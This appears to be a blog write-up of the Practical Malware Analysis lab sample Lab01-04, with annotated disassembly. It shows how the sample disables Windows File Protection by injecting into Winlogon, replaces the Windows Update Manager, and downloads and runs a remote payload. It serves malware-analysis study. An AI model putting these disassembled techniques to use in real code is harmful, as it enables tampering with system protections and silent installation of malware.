Post

0x05_Lab01-04

Overview

FilenameSizeMD5
Lab01-04.exe37 KB625ac05fd47adc3c63700c3b30de79ab

TL;DR: A malware installing a fake Windows Update Manager. It searches for Winlogon PID, disables the Windows File Protection, drops the fake updater on disk, and downloads an aditionnal payload from http://www.practicalmalwareanalysis.com/updater.exe.

Tools: IDA Free 7.0, Resource Hacker

IDB: Lab01-04.i64 Lab01-04_rsrc.i64


Finding Winlogon PID

The main() function starts by using the APIs LoadLibraryA and GetProcAddress to obtain the addresses of EnumProcesses, EnumProcessModules and GetModuleBaseNameA (code not shown).

It calls the API EnumProcesses to retrieve the list of PIDs on the system:

1
2
3
4
5
6
0x00401423    lea     eax, [ebp+lpcbNeeded]
0x00401429    push    eax
0x0040142A    push    1000h           ; dw array size
0x0040142F    lea     ecx, [ebp+dwProcessId]
0x00401435    push    ecx             ; list of PIDs
0x00401436    call    addr_EnumProcesses

Then, it enters a loop that parses this list and calls the function 0x401000 (here renamed IsWinlogonPID()):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x00401485    mov     edx, [ebp+i]   ; counter
0x0040148B    cmp     [ebp+edx*4+dwProcessId], 0
0x00401493    jz      short next_pid
0x00401495    mov     eax, [ebp+i]
0x0040149B    mov     ecx, [ebp+eax*4+dwProcessId]
0x004014A2    push    ecx             ; dwProcessId
0x004014A3    call    IsWinlogonPID
0x004014A8    add     esp, 4          ; adjust stack
0x004014AB    mov     [ebp+flag_found_winlogon], eax
0x004014B1    cmp     [ebp+flag_found_winlogon], 0
0x004014B8    jz      short next_pid
0x004014BA    mov     edx, [ebp+i]    ; index in a list of dw
0x004014C0    mov     eax, [ebp+edx*4+dwProcessId]
0x004014C7    mov     [ebp+winlogon_PID], eax
0x004014CD    jmp     short exit_loop

The function IsWinlogonPID() retrieves the name of a process given its PID. First, it gets a process handle:

1
2
3
4
5
6
0x0040106D    mov     edx, [ebp+dwProcessId]
0x00401070    push    edx             ; dwProcessId
0x00401071    push    0               ; bInheritHandle
0x00401073    push    410h  ; PROCESS_QUERY_INFORMATION | PROCESS_VM_READ
0x00401078    call    ds:OpenProcess
0x0040107E    mov     [ebp+hProcess], eax

Then, it uses this handle to call the API EnumProcessModules. This API retrieves a list of handles, one for each module of the specified process. After some digging in my debugger, it appeared these handles were imagebases, and the first entry of the list was the imagebase the specified process.

In the code below, we notice the array receiving the handles is only 4 bytes long:

1
2
3
4
5
6
7
8
0x00401087    lea     eax, [ebp+required_size]
0x0040108D    push    eax   ; output
0x0040108E    push    4     ; size = 1 dword
0x00401090    lea     ecx, [ebp+hModules_array]
0x00401096    push    ecx   ; ptr hModules
0x00401097    mov     edx, [ebp+hProcess]
0x0040109A    push    edx
0x0040109B    call    addr_EnumProcessModules

No further adjusments are made (e.g. allocating memory on the heap using the variable requiried_size), thus only one handle is retrieved, and this handle is the imagebase of the specified process.

Finally, the API GetModuleBaseNameA is called and the string returned is compared to the string “winlogon.exe”:

1
2
3
4
5
6
7
8
9
10
11
12
13
0x004010A5    push    104h            ; buffer size
0x004010AA    lea     eax, [ebp+buffer]
0x004010B0    push    eax             ; output
0x004010B1    mov     ecx, [ebp+hModules_array]
0x004010B7    push    ecx             ; process imagebase
0x004010B8    mov     edx, [ebp+hProcess]
0x004010BB    push    edx
0x004010BC    call    addr_GetModuleBaseNameA
0x004010C2    lea     eax, [ebp+strWinlogonExe]
0x004010C5    push    eax             ; Str2
0x004010C6    lea     ecx, [ebp+buffer]
0x004010CC    push    ecx             ; Str1
0x004010CD    call    ds:_stricmp

If the strings don’t match the function IsWinlogonPID() returns false and the next PID is tested, but if they match the value true is returned.

Bypassing Windows File Protection

Once the PID of winlogon is found, the function 0x401174 (here renammed RemoteCallSfcTerminateWatcherThread()) is called:

1
2
3
0x004014E4    mov     ecx, [ebp+winlogon_PID]
0x004014EA    push    ecx             ; dwProcessId
0x004014EB    call    RemoteCallSfcTerminateWatcherThread

This function disables the Windows File Protection.

What is WFP?

The Windows File Protection (WFP) is a feature introduced in Windows 2000 to prevent the replacement of system files, whether accidental or malicious. Besides Windows 2000, the WFP is present on XP and Server 2003. The successor of the WFP is the Windows Resource Protection (WRP) and became available starting with Vista and Server 2008.

The WFP relies on two mechanisms:

  1. The first mechanism is the sfc.exe tool which can be executed from an elevated shell: it checks protected files and restores missing/non-legitimately modified ones.
  2. The second mechanism is a backgound protection relying on Winlogon and the DLLs sfc.dll, sfc_os.dll, and sfcfiles.dll: a watcher thread waits for directory change notifications, and if a protected file is replaced by a non-legitimate one, it is restored.

According to Microsoft, the legitimate ways to replace protected files are:

  • Windows Service Pack installation using Update.exe;
  • Hotfixes installed using Hotfix.exe or Update.exe;
  • Operating system upgrades using Winnt32.exe;
  • Windows Update.

The XP era brings nostalgia, so I quickly grepped inside those good old 29A archives and found GriYo’s Win2K infection (uses API SfcIsFileProtected to avoid protected files), Benny and Ratter’s Win2k.SFPDisable (hotpatching sfc.dll), and Ratters’s SFP revisited (use the undocumented APIs SfcTerminateWatcherThread and SfcFileException).
Note that WFP bypasses have been extensively studied and this section is not exhaustive.

Calling SfcTerminateWatcherThread

The bypass implemented in the malware is similar to the code published in 29A vol.7.

First the SeDebugPrivilege has to be enabled. It is the purpose of function 0x4010FC (renammed AdjustPrivileges()), and it can be split in 3 parts:

1. Opening the access token of the current process:

1
2
3
4
5
6
0x00401102    lea     eax, [ebp+TokenHandle]
0x00401105    push    eax   ; output (TokenHandle)
0x00401106    push    28h   ; TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY
0x00401108    call    ds:GetCurrentProcess
0x0040110E    push    eax   ; ProcessHandle
0x0040110F    call    ds:OpenProcessToken

2. Retrieving the LUID of the requested privilege:

1
2
3
4
5
6
7
8
0x00401120    mov     [ebp+NewState.PrivilegeCount], 1
0x00401127    mov     [ebp+NewState.Privileges.Attributes], 2
0x0040112E    lea     ecx, [ebp+NewState.Privileges]
0x00401131    push    ecx             ; lpLuid
0x00401132    mov     edx, [ebp+privilege_name]
0x00401135    push    edx             ; ->"SeDebugPrivilege"
0x00401136    push    0               ; lpSystemName
0x00401138    call    ds:LookupPrivilegeValueA

3. Adjusting the privilege:

1
2
3
4
5
6
7
8
9
0x00401153    push    0               ; ReturnLength
0x00401155    push    0               ; PreviousState
0x00401157    push    0               ; BufferLength
0x00401159    lea     ecx, [ebp+NewState]
0x0040115C    push    ecx             ; NewState
0x0040115D    push    0               ; DisableAllPrivileges
0x0040115F    mov     edx, [ebp+TokenHandle]
0x00401162    push    edx             ; TokenHandle
0x00401163    call    ds:AdjustTokenPrivileges

Next, the address of export n°2 of sfc_os.dll (SfcTerminateWatcherThread) is retrieved:

1
2
3
4
5
6
0x004011A1    push    2               ; lpProcName
0x004011A3    push    offset LibFileName ; "sfc_os.dll"
0x004011A8    call    ds:LoadLibraryA
0x004011AE    push    eax             ; hModule
0x004011AF    call    ds:GetProcAddress
0x004011B5    mov     addr_SfcTerminateWatcherThread, eax

Finally, the API SfcTerminateWatcherThread is called from within the context of Winlogon thanks to the API CreateRemoteThread:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0x004011BA    mov     eax, [ebp+dwProcessId]
0x004011BD    push    eax                ; winlogon PID
0x004011BE    push    0                  ; bInheritHandle
0x004011C0    push    PROCESS_ALL_ACCESS ; dwDesiredAccess
0x004011C5    call    ds:OpenProcess
0x004011CB    mov     [ebp+hProcess], eax
[...]
0x004011D8    push    0               ; lpThreadId
0x004011DA    push    0               ; dwCreationFlags
0x004011DC    push    0               ; lpParameter
0x004011DE    mov     ecx, addr_SfcTerminateWatcherThread
0x004011E4    push    ecx             ; lpStartAddress
0x004011E5    push    0               ; dwStackSize
0x004011E7    push    0               ; lpThreadAttributes
0x004011E9    mov     edx, [ebp+hProcess]
0x004011EC    push    edx             ; hProcess
0x004011ED    call    ds:CreateRemoteThread

Dropping a fake Windows Update Manager

The original update manager is moved to the path %TEMP%\winup.exe and the function 0x4011FC (renamed DropFakeWindowsUpdateManager()) is called:

1
2
3
4
5
6
0x00401576    lea     edx, [ebp+path_to_temp_winup]
0x0040157C    push    edx   ; New: %TEMP%\winup.exe
0x0040157D    lea     eax, [ebp+path_to_sys32_wupdmgr]
0x00401583    push    eax   ; Existing: C:\Windows\system32\wupdmgr.exe
0x00401584    call    ds:MoveFileA
0x0040158A    call    DropFakeWindowsUpdateManager

The function DropFakeWindowsUpdateManager() retrieves the resource named “#101” and loads it into memory (this resource can be dumped with the resource editor of your choice; my preference goes to Resource Hacker):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x004012AA    push    offset Type     ; "BIN"
0x004012AF    push    offset Name     ; "#101"
0x004012B4    mov     eax, [ebp+hModule] ; malware
0x004012B7    push    eax             ; hModule
0x004012B8    call    ds:FindResourceA
0x004012BE    mov     [ebp+hResInfo], eax
0x004012C4    mov     ecx, [ebp+hResInfo]
0x004012CA    push    ecx             ; hResInfo
0x004012CB    mov     edx, [ebp+hModule]
0x004012CE    push    edx             ; hModule
0x004012CF    call    ds:LoadResource
0x004012D5    mov     [ebp+lpBuffer], eax
0x004012D8    mov     eax, [ebp+hResInfo]
0x004012DE    push    eax             ; hResInfo
0x004012DF    mov     ecx, [ebp+hModule]
0x004012E2    push    ecx             ; hModule
0x004012E3    call    ds:SizeofResource
0x004012E9    mov     [ebp+nNumberOfBytesToWrite], eax

Then, a new file is created to C:\Windows\system32\wupdmgr.exe (former path of the original Windows Update Manager):

1
2
3
4
5
6
7
8
9
10
0x004012EF    push    0               ; hTemplateFile
0x004012F1    push    0               ; dwFlagsAndAttributes
0x004012F3    push    CREATE_ALWAYS   ; dwCreationDisposition
0x004012F5    push    0               ; lpSecurityAttributes
0x004012F7    push    FILE_SHARE_READ ; dwShareMode
0x004012F9    push    GENERIC_WRITE   ; dwDesiredAccess
0x004012FE    lea     edx, [ebp+fake_wupdmgr_path]
0x00401304    push    edx            ; C:\Windows\system32\wupdmgr.exe
0x00401305    call    ds:CreateFileA  ; create new empty file
0x0040130B    mov     [ebp+hFile], eax

Finally, the content of the resource is written to this new file, and it is executed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x00401311    push    0               ; lpOverlapped
0x00401313    lea     eax, [ebp+NumberOfBytesWritten]
0x00401316    push    eax             ; lpNumberOfBytesWritten
0x00401317    mov     ecx, [ebp+nNumberOfBytesToWrite]
0x0040131D    push    ecx             ; size of resource
0x0040131E    mov     edx, [ebp+lpBuffer]
0x00401321    push    edx             ; resource data
0x00401322    mov     eax, [ebp+hFile]
0x00401328    push    eax             ; hFile (empty wupdmgr.exe)
0x00401329    call    ds:WriteFile
[...]
0x0040133C    push    0               ; uCmdShow
0x0040133E    lea     edx, [ebp+fake_wupdmgr_path]
0x00401344    push    edx             ; lpCmdLine
0x00401345    call    ds:WinExec ; C:\Windows\system32\wupdmgr.exe

The fake Windows Update Manager

The fake updater starts by executing the real one (from the /tmp directory):

1
2
3
4
0x004010A8    push    5               ; uCmdShow
0x004010AA    lea     eax, [ebp+path_to_temp_winup] ; original update manager
0x004010B0    push    eax             ; lpCmdLine: %TEMP%\winup.exe
0x004010B1    call    ds:WinExec

Then, it downloads a new binary from the URL http://www.practicalmalwareanalysis.com/updater.exe and saves it to the path C:\Windows\system32\wupdmgrd.exe:

1
2
3
4
5
6
7
0x004010EF    push    0               ; LPBINDSTATUSCALLBACK
0x004010F1    push    0               ; DWORD
0x004010F3    lea     ecx, [ebp+path_to_sys32_wupdmgrd]
0x004010F9    push    ecx         ; C:\Windows\system32\wupdmgrd.exe
0x004010FA    push    offset URL  ; "http://www.practical"...
0x004010FF    push    0               ; LPUNKNOWN
0x00401101    call    URLDownloadToFileA

And finally the downloaded payload is executed:

1
2
3
0x00401117    lea     edx, [ebp+path_to_sys32_wupdmgrd]
0x0040111D    push    edx             ; lpCmdLine
0x0040111E    call    ds:WinExec      ; execute downloaded payload

I tried to wget the URL but it returned a 404 :(


EOF

This post is licensed under CC BY 4.0 by the author.